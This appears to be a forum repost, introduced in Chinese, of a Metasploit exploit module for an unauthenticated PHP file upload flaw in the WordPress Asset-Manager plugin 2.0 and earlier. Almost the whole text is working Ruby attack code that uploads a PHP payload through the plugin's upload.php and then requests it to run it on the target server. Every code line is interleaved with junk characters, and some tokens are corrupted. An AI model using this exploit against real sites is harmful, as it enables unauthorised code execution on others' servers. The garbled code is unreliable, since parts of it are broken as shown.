这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。- B) X) Z! v0 ~6 w3 L
# c. z, C& A3 a# S) N: l4 ~
##
" M8 }' \, y5 q; e( W# This file is part of the Metasploit Framework and may be subject to: l/ y- S% H" Y, I- q
# redistribution and commercial restrictions. Please see the Metasploit6 t* \( [6 o* ~, C
# Framework web site for more information on licensing and terms of use.
- c' U: Y4 i3 d$ f# http://metasploit.com/framework/' a3 d- {5 u% H4 s
##- @6 Q: O* t& D) D. E! `' V9 z; B
5 C: S+ R% `3 z- Q( K
require 'msf/core'
( b1 [7 d& d- s0 }9 j( n: {" Wrequire 'msf/core/exploit/php_exe', k, j; L* u( O& O( I# X2 z
9 w! {# J' e" b
class Metasploit3 < Msf::Exploit::Remote
! F2 f- W3 |' A/ Q I Rank = ExcellentRanking- @: L' j u% K" f
9 S- z# R+ ~& T+ H include Msf::Exploit::Remote::HttpClient
. @$ x6 o# r1 w' j8 L include Msf::Exploit: hpEXE) M9 Y; f5 V% O
G8 y" e/ }( L
def initialize(info = {})
0 h5 \5 f6 G1 Z, v3 C super(update_info(info,5 D/ c3 z; N1 L* f p% m2 a
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',8 \% p) h; i% v
'Description' => %q{
1 T6 w3 L3 x6 m" u% ?4 I& ]3 Y g This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
4 Z; x) L# @2 e) l' g plugin. By abusing the upload.php file, a malicious user can upload a file to a
" V5 d1 i" |* i temp directory without authentication, which results in arbitrary code execution.
3 o0 T5 D; J+ p- ^! c: \) f# C! z },4 P8 `+ C7 L8 |. e0 P% }( [+ w
'Author' =>* A- U" L5 e; Z, a/ C4 j
[- Y& J. I+ b" D% K) K2 g8 L3 i" u
'Sammy FORGIT', # initial discovery
/ K' M" y$ L1 o6 J% e8 n 'James Fitts <fitts.james[at]gmail.com>' # metasploit module* c6 w. u0 U/ ~9 Y
],; q. n. R4 X) w) S6 t* z
'License' => MSF_LICENSE,
4 z/ m! S' C( o: G 'References' =>: E: U0 w, Q0 @
[; k1 Y6 U& F. f" I5 a0 }8 W: t
[ 'OSVDB', '82653' ],
/ o( K0 f6 p$ m: a0 D6 u1 ^6 ?) y [ 'BID', '53809' ],& K& X4 E. e; n/ I/ |
[ 'EDB', '18993' ],! z8 i, h, S& `: H5 h- A1 E
[ 'URL', 'http:// www.myhack58.com /' ]( n3 t. i( c: R3 `$ l" y
],
) r! W+ v8 g$ ? i/ q6 j 'Payload' =>4 x7 d/ K! [6 _/ }! p
{
D. E9 E4 g( @- y( ] 'BadChars' => "\x00",
/ p* a' n' e) ~( E! x0 G },
' m0 H" C* g# f3 F 'Platform' => 'php',
0 h+ b2 C8 g5 Y y' } 'Arch' => ARCH_PHP,
; G. T5 l0 j4 i0 `9 S0 ` 'Targets' =>
0 Y. Q4 w: G! N0 |$ H7 {3 K [
1 z/ v1 V& o: _ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],; y9 u3 g3 u6 ]- ^! w* ~
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]4 P/ h) v+ }- j3 B, p, ^8 U, ]
],
/ B9 U# R, O) n' C/ s9 I* G: _ 'DefaultTarget' => 0,
/ }0 ]1 H: o" m0 U9 ] 'DisclosureDate' => 'May 26 2012'))
: j2 g( Q, q3 j* a+ F( M F+ @; O K0 }2 g1 z% }
register_options(
' p+ G: Q* m: O9 A8 V; v [
% f2 }1 z$ H3 h% ^9 v OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
& Z2 r: S& m2 c+ L# b ], self.class)/ T+ z1 M3 l" @- H' Y- u1 X
end
8 z" M- C4 y2 `, x _ ~( ? ; ~, k; H5 u1 ~3 o' a# O
def exploit
% U' C/ f4 n( D" \ uri = target_uri.path' k2 Z. i `1 n5 e
uri << '/' if uri[-1,1] != '/'
% d0 q. h/ p4 [) n peer = "#{rhost}:#{rport}"3 X! a. M1 \% J/ q
payload_name = "#{rand_text_alpha(5)}.php"
/ s3 }. V+ @$ r- p/ n- x+ f php_payload = get_write_exec_payload(:unlink_self=>true)$ j- E- `" k3 L" X- Q9 y- I& s
( r) D: D' q& `# z; s data = Rex::MIME::Message.new
Y6 v7 L2 g2 ~+ g# S# L: m- U data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
9 m( Z4 h$ C, q" K9 C+ a0 P8 h post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
, ]! v# I. s" g: m) S$ l3 P% X. X : ~# p1 Z' P) ~; Z" Y& h/ q% O
print_status("#{peer} - Uploading payload #{payload_name}")3 x; c& ^1 g6 E" v3 j
res = send_request_cgi({# E8 u7 f) I0 o# |
'method' => 'POST',; A" Y: @ E) u- V
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
* h" D2 z6 Y, ~4 D: u' b( P$ a) B 'ctype' => "multipart/form-data; boundary=#{data.bound}",
" ^: F. u! `- T! _6 D6 M 'data' => post_data& h4 o6 O. G1 {5 Y& i8 v
})7 V' @6 A# w) d( ~ U
8 N1 ?3 a' [$ {- B
if not res or res.code != 200 or res.body !~ /#{payload_name}// D. X$ b7 w! p, T( h
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")+ ~$ ]& Y. @9 y) c
end
! ^# x6 L& x! C4 i- E8 H 5 J/ I! r$ t" S4 L% L
print_status("#{peer} - Executing payload #{payload_name}")
9 ]& h: O' ^) n3 m res = send_request_raw({
5 Y% p( g; x, N8 u k5 b' u4 f 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",+ ?! W/ f' l7 }, _
'method' => 'GET'
2 L0 G) i- r' R# E; A })
: `) |. V% ~0 N7 b% l4 U1 y' B
1 l2 [4 }! P! \0 N% H! | if res and res.code != 2007 @- T1 ~) D: j- x
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
/ d, [: G. `: p end* x7 s+ p) m$ | G# E
end
" I; S% p0 C, c7 J6 T7 D3 L% Dend
3 \& l# m ~$ R) |# G |